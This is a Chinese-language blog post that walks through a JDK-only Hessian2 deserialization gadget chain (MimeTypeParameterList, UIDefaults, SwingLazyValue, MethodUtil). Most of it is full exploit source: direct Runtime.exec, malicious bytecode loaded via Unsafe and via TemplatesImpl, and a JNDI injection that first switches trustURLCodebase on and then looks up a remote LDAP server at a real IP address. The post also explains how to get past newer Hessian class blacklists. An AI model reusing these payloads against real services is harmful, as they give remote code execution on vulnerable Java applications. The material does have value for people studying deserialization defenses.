目录
前文:【Web】浅聊Hessian异常toString姿势学习&复现
前言
上篇文章介绍了Hessian2异常触发toString,“触发toString方法便可生万物,而后打法无穷也”
很容易想到常见的 Rome、XBean 等 toString,若目标环境没有这些依赖呢,有无原生jdk链子打呢?🧐
还真有,服辣服辣!感谢p4d0rn大师傅带我飞😍&下面一起来学习大佬的姿势😀
原理分析
利用链
Hessian2触发toString后,在原生jdk环境下如何找到toString恶意利用类呢
我们关注到javax.activation.MimeTypeParameterList#toString,其调用了this.parameters#get
public String toString() {
StringBuffer buffer = new StringBuffer();
buffer.ensureCapacity(this.parameters.size() * 16);
Enumeration keys = this.parameters.keys();
while(keys.hasMoreElements()) {
String key = (String)keys.nextElement();
buffer.append("; ");
buffer.append(key);
buffer.append('=');
buffer.append(quote((String)this.parameters.get(key)));
}
return buffer.toString();
}
注意到parameters类型为Hashtable
而UIDefaults正好继承了Hashtable
跟进UIDefaults#get
public Object get(Object key) {
Object value = getFromHashtable( key );
return (value != null) ? value : getFromResourceBundle(key, null);
}
调用了UIDefaults#getFromHashtable,最后进到LazyValue#createValue,这里找到了合适的SwingLazyValue
public Object createValue(UIDefaults var1) {
try {
ReflectUtil.checkPackageAccess(this.className);
Class var2 = Class.forName(this.className, true, (ClassLoader)null);
Class[] var3;
if (this.methodName != null) {
var3 = this.getClassArray(this.args);
Method var6 = var2.getMethod(this.methodName, var3);
this.makeAccessible(var6);
return var6.invoke(var2, this.args);
} else {
var3 = this.getClassArray(this.args);
Constructor var4 = var2.getConstructor(var3);
this.makeAccessible(var4);
return var4.newInstance(this.args);
}
} catch (Exception var5) {
return null;
}
}
这段代码使用了反射机制动态实例化对象或调用类静态方法
tips:
就是说靶机classpath下没有的类,我们不能实例化,可利用性不强
所以考虑走类静态方法的调用
关注到sun.reflect.misc.MethodUtil#invoke是个静态方法
public static Object invoke(Method var0, Object var1, Object[] var2) throws InvocationTargetException, IllegalAccessException {
try {
return bounce.invoke((Object)null, var0, var1, var2);
}
这段代码使用了反射机制动态调用指定方法,通过传入方法对象、目标对象和参数数组来实现方法的调用
MethodUtil#invoke可以调用任意类的任意方法,这不就易如反掌易如反掌了嘛(🤔
EXP
Hessian2 低版本
直接Runtime命令执行
导入pom依赖
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.38</version>
</dependency>
弹计算器的神奇咒语
package com.Hessian;
import com.caucho.hessian.io.*;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class EXP {
public static void ser(Object evil) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true); //允许反序列化NonSerializable
baos.write(67);
output.writeObject(evil);
output.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
public static void main(String[] args) throws Exception {
UIDefaults uiDefaults = new UIDefaults();
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});
uiDefaults.put("xxx", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList,"parameters",uiDefaults);
ser(mimeTypeParameterList);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
Hessian2 高版本
Hessian2 4.0.63版本在获取反序列化器时会走com.caucho.hessian.io.ClassFactory#isAllow对类进行检查,判断类是否允许被反序列化
黑名单如下
既然MethodUtil#invoke可以调用任意类的任意方法,要RCE就要RCE地彻底,可以采用加载恶意类字节码的手段
接下来介绍两种方法:
利用Unsafe
加载恶意字节码+二次调用触发初始化
sun.misc.Unsafe · 攻击Java Web应用-[Java Web安全]
注意Unsafe#defineClass不会对类进行初始化,所以需要调用两次,在恶意类里添加一个静态方法,第一次先加载恶意类,第二次调用恶意类从而初始化执行静态代码块
导入pom依赖
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.29.2-GA</version>
</dependency>
弹计算器的神奇咒语(第一次报错就会退出程序,所以要try catch surround一下)
package com.Hessian;
import com.caucho.hessian.io.*;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtNewMethod;
import sun.misc.Unsafe;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
public class EXP2 {
public static byte[] getPayload() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtMethod staticInitializer = CtNewMethod.make("public static void exp() { Runtime.getRuntime().exec(\"calc\"); }", clazz);
clazz.addMethod(staticInitializer);
return clazz.toBytecode();
}
public static Object loadClass() throws Exception {
UIDefaults uiDefaults = new UIDefaults();
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field field = clazz.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
byte[] bytes = getPayload();
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{defineClass, unsafe, new Object[]{"a", bytes, 0, bytes.length, null, null}}});
uiDefaults.put("xxx", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
return mimeTypeParameterList;
}
public static Object initClass() throws Exception {
UIDefaults uiDefaults = new UIDefaults();
SwingLazyValue slz = new SwingLazyValue("a", "exp", new Object[0]);
uiDefaults.put("xxx", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
return mimeTypeParameterList;
}
public static void ser(Object evil) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true); //允许反序列化NonSerializable
baos.write(67);
output.writeObject(evil);
output.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
public static void main(String[] args) throws Exception {
try {
ser(loadClass());
} catch (Exception e) {
ser(initClass());
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
利用TemplatesImpl实例化恶意类
这个相对更好理解一些,缝就完了
package com.Hessian;
import com.caucho.hessian.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class EXP2 {
public static Object loadClass() throws Exception {
UIDefaults uiDefaults = new UIDefaults();
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("Z3r4y");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode();
Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Method newTransformer = Class.forName(TemplatesImpl).getDeclaredMethod("newTransformer");
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{newTransformer, templates, new Object[]{}}} );
uiDefaults.put("xxx", slz);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
return mimeTypeParameterList;
}
public static void ser(Object evil) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true); //允许反序列化NonSerializable
baos.write(67);
output.writeObject(evil);
output.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
public static void main(String[] args) throws Exception {
try {
ser(loadClass());
} catch (Exception e) {
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
jdk高版本打JNDI
高版本的JDK有JNDI限制的原因是trustURLCodebase默认为false
java.lang.System#setProperty方法用于设置系统属性。该方法允许在运行时更改系统的属性值。
我们可以此方法将对应版本的trustURLCodebase设置为true,绕过JNDI限制
再调用InitialContext#doLookup实现JNDI注入
package com.Hessian;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class EXP4 {
public static void main(String[] args) throws Exception {
UIDefaults uiDefaults1 = new UIDefaults();
UIDefaults uiDefaults2 = new UIDefaults();
Method setProperty = Class.forName("java.lang.System").getDeclaredMethod("setProperty", String.class, String.class);
Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
SwingLazyValue slz1 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{setProperty, new Object(), new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase", "true"}}});
Method doLookup = Class.forName("javax.naming.InitialContext").getDeclaredMethod("doLookup", String.class);
SwingLazyValue slz2 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{doLookup, new Object(), new Object[]{"ldap://124.222.136.33:1337/#suibian"}}});
uiDefaults1.put("xxx", slz1);
MimeTypeParameterList mimeTypeParameterList1 = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList1, "parameters", uiDefaults1);
uiDefaults2.put("xxx", slz2);
MimeTypeParameterList mimeTypeParameterList2 = new MimeTypeParameterList();
setFieldValue(mimeTypeParameterList2, "parameters", uiDefaults2);
try {
ser(mimeTypeParameterList1);
} catch (Exception e) {
ser(mimeTypeParameterList2);
}
}
public static void ser(Object evil) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true); //允许反序列化NonSerializable
baos.write(67);
output.writeObject(evil);
output.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}